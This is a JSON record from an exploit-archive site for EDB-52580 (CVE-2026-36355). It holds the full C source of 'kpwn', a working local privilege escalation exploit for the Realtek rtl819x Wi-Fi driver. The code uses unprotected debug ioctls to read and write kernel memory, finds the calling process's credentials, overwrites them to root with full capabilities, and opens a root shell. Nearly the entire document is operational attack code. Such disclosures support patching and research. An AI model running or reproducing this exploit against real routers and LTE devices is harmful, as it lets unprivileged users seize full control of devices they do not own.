{"exploit":{"id":"EDB-52580","name":"Realtek rtl819x - Local Privilege","description":"Realtek rtl819x - Local Privilege","cves":["CVE-2026-36355"],"author":"Daniil Gordeev","published":"2026-05-27","platform":"linux","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52580","path":"exploits/linux/local/52580.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52580.c","vulnerabilities":[{"id":"CVE-2026-36355","state":"PUBLISHED","title":null,"titleSource":null,"description":"The rtl8192cd Wi-Fi kernel driver in the Realtek rtl819x Jungle SDK (all known versions through v3.4.14B) does not perform any access control checks on the write_mem (ioctl 0x89F5) and read_mem (ioctl 0x89F6) debug handlers, which are compiled into production builds via the unconditionally defined _IOCTL_DEBUG_CMD_ macro in 8192cd_cfg.h","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-36355","cvss":{"version":"3.1","baseScore":7.7,"severity":"high","vectorString":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-36355"},"updatedAt":"2026-07-05T01:34:36.174Z","retrievedAt":"2026-11-25T16:15:50.196Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52580.png?v=2","url":"https://exploitbin.com/exploits/EDB-52580","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52580/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52580/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":" * Exploit Title: Realtek rtl819x  - Local Privilege Escalation\n * Date: 2026-05-03\n * Exploit Author: Daniil Gordeev\n * Vendor Homepage: http://www.realtek.com\n * Software Link: https://github.com/iptime-gpl/userapps_n104qi (representative GPL release)\n * Version: Realtek rtl819x Jungle SDK, all known versions through v3.4.14B\n * Tested on: Linux 3.18.48, ARMv7 Cortex-A7, Qualcomm MDM9607, rtl8192es.ko (MeiG FORGE_SLT711 / Ortel 4G LTE CPE)\n * CVE: CVE-2026-36355\n *\n * kpwn - RTL8192CD kernel LPE exploit\n *\n * Exploits missing capability checks on ioctl 0x89F5/0x89F6 (write_mem/read_mem)\n * in the Realtek rtl819x out-of-tree WiFi driver SDK.\n *\n * Runs as ANY unprivileged user — no root needed at any stage.\n * Auto-detects task_struct offsets from init_task.\n *\n * Affected: ALL devices using Realtek rtl819x out-of-tree driver SDK\n * Chips: RTL8192C/D/E, RTL8188E, RTL8812, RTL8881A, RTL8197F, etc.\n *\n * Build: arm-linux-gnueabi-gcc -static -O2 -o tools/kpwn tools/kpwn.c\n * Usage: /tmp/kpwn  (any user, GID 3003/inet on paranoid kernels)\n */\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <errno.h>\n#include <dirent.h>\n#include <sys/ioctl.h>\n#include <sys/socket.h>\n#include <linux/wireless.h>\n\n#define IOCTL_WRITE  0x89F5   /* SIOCDEVPRIVATE+5: write_mem */\n#define IOCTL_READ   0x89F6   /* SIOCDEVPRIVATE+6: read_mem  */\n\n/* kernel .data scan range for init_task (ARM, no KASLR) */\n#define DATA_SCAN_START  0xC0800000\n#define DATA_SCAN_END    0xC1000000\n\nstatic int sockfd = -1;\nstatic int nioctls = 0;\nstatic char ifname[IFNAMSIZ];\n\n/* ---- kernel R/W primitives ---- */\n\nstatic int kread(unsigned long addr, void *out, int ndw)\n{\n    struct iwreq wrq;\n    char buf[256];\n\n    if (ndw > 32) ndw = 32;\n    snprintf(buf, sizeof(buf), \"dw,%lx,%x\", addr, ndw);\n\n    memset(&wrq, 0, sizeof(wrq));\n    strncpy(wrq.ifr_name, ifname, IFNAMSIZ);\n    wrq.u.data.pointer = buf;\n    wrq.u.data.length = strlen(buf) + 1;\n\n    if (ioctl(sockfd, IOCTL_READ, &wrq) < 0)\n        return -1;\n\n    nioctls++;\n    int n = wrq.u.data.length;\n    if (n > 0 && out)\n        memcpy(out, buf, n > 128 ? 128 : n);\n    return n;\n}\n\nstatic unsigned int kread32(unsigned long addr)\n{\n    unsigned int v = 0;\n    kread(addr, &v, 1);\n    return v;\n}\n\nstatic int kfill(unsigned long addr, int ndw, unsigned int val)\n{\n    struct iwreq wrq;\n    char buf[256];\n\n    snprintf(buf, sizeof(buf), \"dw,%lx,%x,%x\", addr, ndw, val);\n\n    memset(&wrq, 0, sizeof(wrq));\n    strncpy(wrq.ifr_name, ifname, IFNAMSIZ);\n    wrq.u.data.pointer = buf;\n    wrq.u.data.length = strlen(buf) + 1;\n\n    if (ioctl(sockfd, IOCTL_WRITE, &wrq) < 0)\n        return -1;\n\n    nioctls++;\n    return 0;\n}\n\n/* ---- find vulnerable interface ---- */\n\nstatic int find_interface(void)\n{\n    DIR *d = opendir(\"/sys/class/net\");\n    if (!d) return -1;\n\n    struct dirent *e;\n    unsigned int probe;\n    while ((e = readdir(d))) {\n        if (e->d_name[0] == '.' || strcmp(e->d_name, \"lo\") == 0)\n            continue;\n        strncpy(ifname, e->d_name, IFNAMSIZ - 1);\n        probe = 0;\n        if (kread(0xC0008000, &probe, 1) > 0 && probe != 0) {\n            closedir(d);\n            return 0;\n        }\n    }\n    closedir(d);\n    return -1;\n}\n\n/* ---- resolve init_task ---- */\n\nstatic unsigned long scan_for_init_task(void)\n{\n    /*\n     * Brute-force: scan kernel .data for init_task.comm = \"swapper\".\n     * Validate by checking cred pointer (must dereference to uid=0, gid=0).\n     *\n     * The returned base doesn't need to be exact — detect_offsets finds\n     * all field positions relative to the base, and the math in find_task\n     * and the overwrite phase uses (base + offset) pairs where any constant\n     * shift cancels out. We just need \"swapper\" to land within the\n     * detect_offsets search window (0x200-0x5F0 from returned base).\n     */\n    unsigned char buf[128];\n    unsigned long addr;\n\n    printf(\"[*] Scanning .data for init_task...\\n\");\n\n    for (addr = DATA_SCAN_START; addr < DATA_SCAN_END; addr += 128) {\n        if (kread(addr, buf, 32) <= 0)\n            continue;\n\n        int j;\n        for (j = 0; j <= 128 - 7; j += 4) {\n            if (memcmp(buf + j, \"swapper\", 7) != 0)\n                continue;\n\n            unsigned long comm_addr = addr + j;\n\n            /* validate: cred pointer just before comm → {usage, uid=0, gid=0} */\n            unsigned int cred_ptr;\n            if (kread(comm_addr - 4, &cred_ptr, 1) <= 0)\n                continue;\n            if ((cred_ptr & 0xC0000000) != 0xC0000000 || cred_ptr == 0xFFFFFFFF)\n                continue;\n\n            unsigned int chk[3];\n            if (kread(cred_ptr, chk, 3) <= 0)\n                continue;\n            if (chk[0] < 1 || chk[0] >= 10000)  /* usage refcount */\n                continue;\n            if (chk[1] != 0 || chk[2] != 0)      /* uid=0, gid=0 */\n                continue;\n\n            /*\n             * Return comm_addr - 0x400 as base. This places comm at\n             * offset 0x400 in the detect_offsets window (well within\n             * the 0x200-0x5F0 search range). The base doesn't need\n             * to be the true struct start — all offset math cancels.\n             */\n            unsigned long base = comm_addr - 0x400;\n            printf(\"[+] scan: comm @ 0x%08lx, base 0x%08lx\\n\", comm_addr, base);\n            return base;\n        }\n    }\n    return 0;\n}\n\nstatic unsigned long resolve_init_task(void)\n{\n    return scan_for_init_task();\n}\n\n/* ---- auto-detect task_struct layout ---- */\n\nstruct offsets { unsigned long tasks, pid, cred, comm; };\n\nstatic int detect_offsets(unsigned long init, struct offsets *o)\n{\n    unsigned char data[0x600];\n    int i;\n\n    /* bulk-read init_task (12 reads, 128 bytes each) */\n    for (i = 0; i < 0x600; i += 128)\n        if (kread(init + i, data + i, 32) <= 0) {\n            printf(\"[-] Read init_task+0x%x failed\\n\", i);\n            return -1;\n        }\n\n    /* comm: find \"swapper\" string — unique, most reliable anchor */\n    o->comm = 0;\n    for (i = 0x200; i < 0x5F0; i += 4)\n        if (memcmp(data + i, \"swapper\", 7) == 0) { o->comm = i; break; }\n    if (!o->comm) {\n        printf(\"[-] 'swapper' not found in init_task\\n\");\n        return -1;\n    }\n\n    /* cred: kernel pointer just before comm → dereferences to {usage, uid=0, gid=0} */\n    o->cred = 0;\n    for (i = o->comm - 4; i >= (int)o->comm - 16; i -= 4) {\n        unsigned int val = *(unsigned int *)(data + i);\n        if ((val & 0xC0000000) == 0xC0000000 && val != 0xFFFFFFFF) {\n            unsigned int chk[3];\n            if (kread(val, chk, 3) > 0 &&\n                chk[0] >= 1 && chk[0] < 10000 &&\n                chk[1] == 0 && chk[2] == 0) {\n                o->cred = i;\n                break;\n            }\n        }\n    }\n    if (!o->cred) {\n        printf(\"[-] Cred pointer not found near comm\\n\");\n        return -1;\n    }\n\n    /* tasks: non-self-referencing list_head with valid chain and printable comm at next */\n    o->tasks = 0;\n    for (i = 0x100; i < 0x300; i += 4) {\n        unsigned int next = *(unsigned int *)(data + i);\n        unsigned int prev = *(unsigned int *)(data + i + 4);\n        if ((next & 0xC0000000) != 0xC0000000 || next == 0xFFFFFFFF) continue;\n        if ((prev & 0xC0000000) != 0xC0000000 || prev == 0xFFFFFFFF) continue;\n        if (next == (unsigned int)(init + i)) continue;\n\n        unsigned int nn = kread32(next);\n        if ((nn & 0xC0000000) != 0xC0000000) continue;\n\n        unsigned long next_base = (unsigned long)next - i;\n        char tc[8] = {0};\n        if (kread(next_base + o->comm, tc, 2) > 0 &&\n            tc[0] >= 0x20 && tc[0] < 0x7F) {\n            o->tasks = i;\n            break;\n        }\n    }\n    if (!o->tasks) {\n        printf(\"[-] Tasks list_head not found\\n\");\n        return -1;\n    }\n\n    /* pid: 0 in init_task, cross-verified against two other tasks (different PIDs) */\n    o->pid = 0;\n    unsigned int tasks_next = *(unsigned int *)(data + o->tasks);\n    unsigned long first_base = (unsigned long)tasks_next - o->tasks;\n    unsigned int second_ptr = kread32(tasks_next);\n    unsigned long second_base = (unsigned long)second_ptr - o->tasks;\n\n    for (i = o->tasks + 0x20; i < (int)o->comm - 0x20; i += 4) {\n        if (*(unsigned int *)(data + i) != 0) continue;\n        if (*(unsigned int *)(data + i + 4) != 0) continue;   /* pid=0 AND tgid=0 */\n        unsigned int p1 = kread32(first_base + i);\n        if (p1 == 0 || p1 >= 32768) continue;\n        unsigned int p2 = kread32(second_base + i);\n        if (p2 == 0 || p2 >= 32768) continue;\n        if (p1 == p2) continue;\n        o->pid = i;\n        break;\n    }\n    if (!o->pid) {\n        printf(\"[-] PID offset not found\\n\");\n        return -1;\n    }\n\n    return 0;\n}\n\n/* ---- walk task list backward (newest first, 1 ioctl per task) ---- */\n\nstatic unsigned long find_task(unsigned long init, struct offsets *o,\n                               pid_t pid, int *walked)\n{\n    unsigned long head = init + o->tasks;\n    unsigned int buf[32];\n    unsigned long cur;\n    int batch = 0;\n    int span = 0;\n    *walked = 0;\n\n    /* if pid and tasks fit in one 32-dword read, batch them */\n    if (o->pid > o->tasks) {\n        span = (o->pid - o->tasks) / 4 + 1;\n        if (span <= 32) batch = 1;\n    }\n\n    /* walk backward: tasks.prev (offset +4) points to newest task */\n    cur = kread32(head + 4);\n\n    for (int i = 0; i < 512; i++) {\n        if (cur == head || cur == 0)\n            break;\n\n        unsigned long base = cur - o->tasks;\n        unsigned int p;\n        unsigned long prev;\n\n        if (batch) {\n            /* single read gets tasks.next, tasks.prev, and pid */\n            if (kread(cur, buf, span) <= 0) break;\n            prev = buf[1];    /* tasks.prev = next older task */\n            p = buf[(o->pid - o->tasks) / 4];\n        } else {\n            /* fallback: two individual reads */\n            p = kread32(base + o->pid);\n            prev = kread32(cur + 4);\n        }\n\n        (*walked)++;\n        if (p == (unsigned int)pid)\n            return base;\n        cur = prev;\n    }\n    return 0;\n}\n\n/* ---- main ---- */\n\nint main(void)\n{\n    uid_t orig_uid = getuid();\n    gid_t orig_gid = getgid();\n    pid_t pid = getpid();\n\n    printf(\"kpwn \\xe2\\x80\\x94 RTL8192CD kernel LPE\\n\");\n    printf(\"uid=%u gid=%u pid=%d\\n\\n\", orig_uid, orig_gid, pid);\n\n    /* socket */\n    printf(\"[*] Creating socket...\\n\");\n    sockfd = socket(AF_INET, SOCK_DGRAM, 0);\n    if (sockfd < 0) {\n        printf(\"[-] socket: %s\\n\", strerror(errno));\n        if (errno == EACCES)\n            printf(\"[-] Need GID 3003 (inet) on paranoid kernels\\n\");\n        return 1;\n    }\n\n    /* find vulnerable interface */\n    printf(\"[*] Scanning interfaces...\\n\");\n    if (find_interface() < 0) {\n        printf(\"[-] No rtl819x interface found\\n\");\n        return 1;\n    }\n    printf(\"[+] %s — read primitive confirmed\\n\", ifname);\n\n    /* resolve init_task */\n    printf(\"[*] Resolving init_task...\\n\");\n    unsigned long init = resolve_init_task();\n    if (!init) {\n        printf(\"[-] init_task not found\\n\");\n        return 1;\n    }\n    printf(\"[+] init_task @ 0x%08lx\\n\", init);\n\n    /* auto-detect offsets */\n    printf(\"[*] Detecting task_struct layout...\\n\");\n    struct offsets o;\n    if (detect_offsets(init, &o) < 0)\n        return 1;\n    printf(\"[+] comm=0x%03lx cred=0x%03lx tasks=0x%03lx pid=0x%03lx\\n\",\n           o.comm, o.cred, o.tasks, o.pid);\n\n    /* find our task_struct */\n    printf(\"[*] Searching for pid %d...\\n\", pid);\n    int walked = 0;\n    unsigned long task = find_task(init, &o, pid, &walked);\n    if (!task) {\n        printf(\"[-] pid %d not found (%d tasks walked)\\n\", pid, walked);\n        return 1;\n    }\n\n    /* read and verify cred (batched: cred+comm in one read, uid+gid in one read) */\n    unsigned int info[5];\n    char *comm;\n    unsigned long cred;\n    unsigned int k_uid, k_gid;\n\n    kread(task + o.cred, info, 5);    /* cred ptr + 16 bytes of comm */\n    cred = info[0];\n    comm = (char *)&info[1];\n\n    unsigned int uids[2];\n    kread(cred + 0x04, uids, 2);     /* uid + gid */\n    k_uid = uids[0];\n    k_gid = uids[1];\n\n    printf(\"[+] task=0x%08lx comm=\\\"%s\\\" (%d walked)\\n\", task, comm, walked);\n    printf(\"[+] cred=0x%08lx uid=%u gid=%u\\n\", cred, k_uid, k_gid);\n\n    if (k_uid != orig_uid) {\n        printf(\"[-] uid mismatch: kernel=%u userspace=%u\\n\", k_uid, orig_uid);\n        return 1;\n    }\n\n    /* overwrite cred -> root (2 ioctls: zero uids + fill all caps) */\n    printf(\"[*] Overwriting credentials...\\n\");\n    kfill(cred + 0x04, 9, 0);                 /* uid..fsgid + securebits = 0 */\n    kfill(cred + 0x28, 8, 0xFFFFFFFF);        /* cap_{inheritable,permitted,effective,bset} = full */\n\n    if (getuid() != 0) {\n        printf(\"[-] FAILED \\xe2\\x80\\x94 uid still %d after overwrite\\n\", getuid());\n        return 1;\n    }\n\n    printf(\"[+] uid=%d euid=%d gid=%d egid=%d\\n\\n\",\n           getuid(), geteuid(), getgid(), getegid());\n    printf(\"*** GOT ROOT *** uid=%u -> %d (%d ioctls)\\n\\n\", orig_uid, getuid(), nioctls);\n\n    execl(\"/bin/sh\", \"sh\", NULL);\n    printf(\"[-] execl: %s\\n\", strerror(errno));\n    return 1;\n}","sha256":"30e1d7283f3037572fc15abf4b1fb053c65b8415eba9957ac1097790e03ce74c","bytes":13129,"fetchedAt":"2026-11-26T11:05:37.018Z","encoding":"utf-8 (display only; download retains original bytes)"}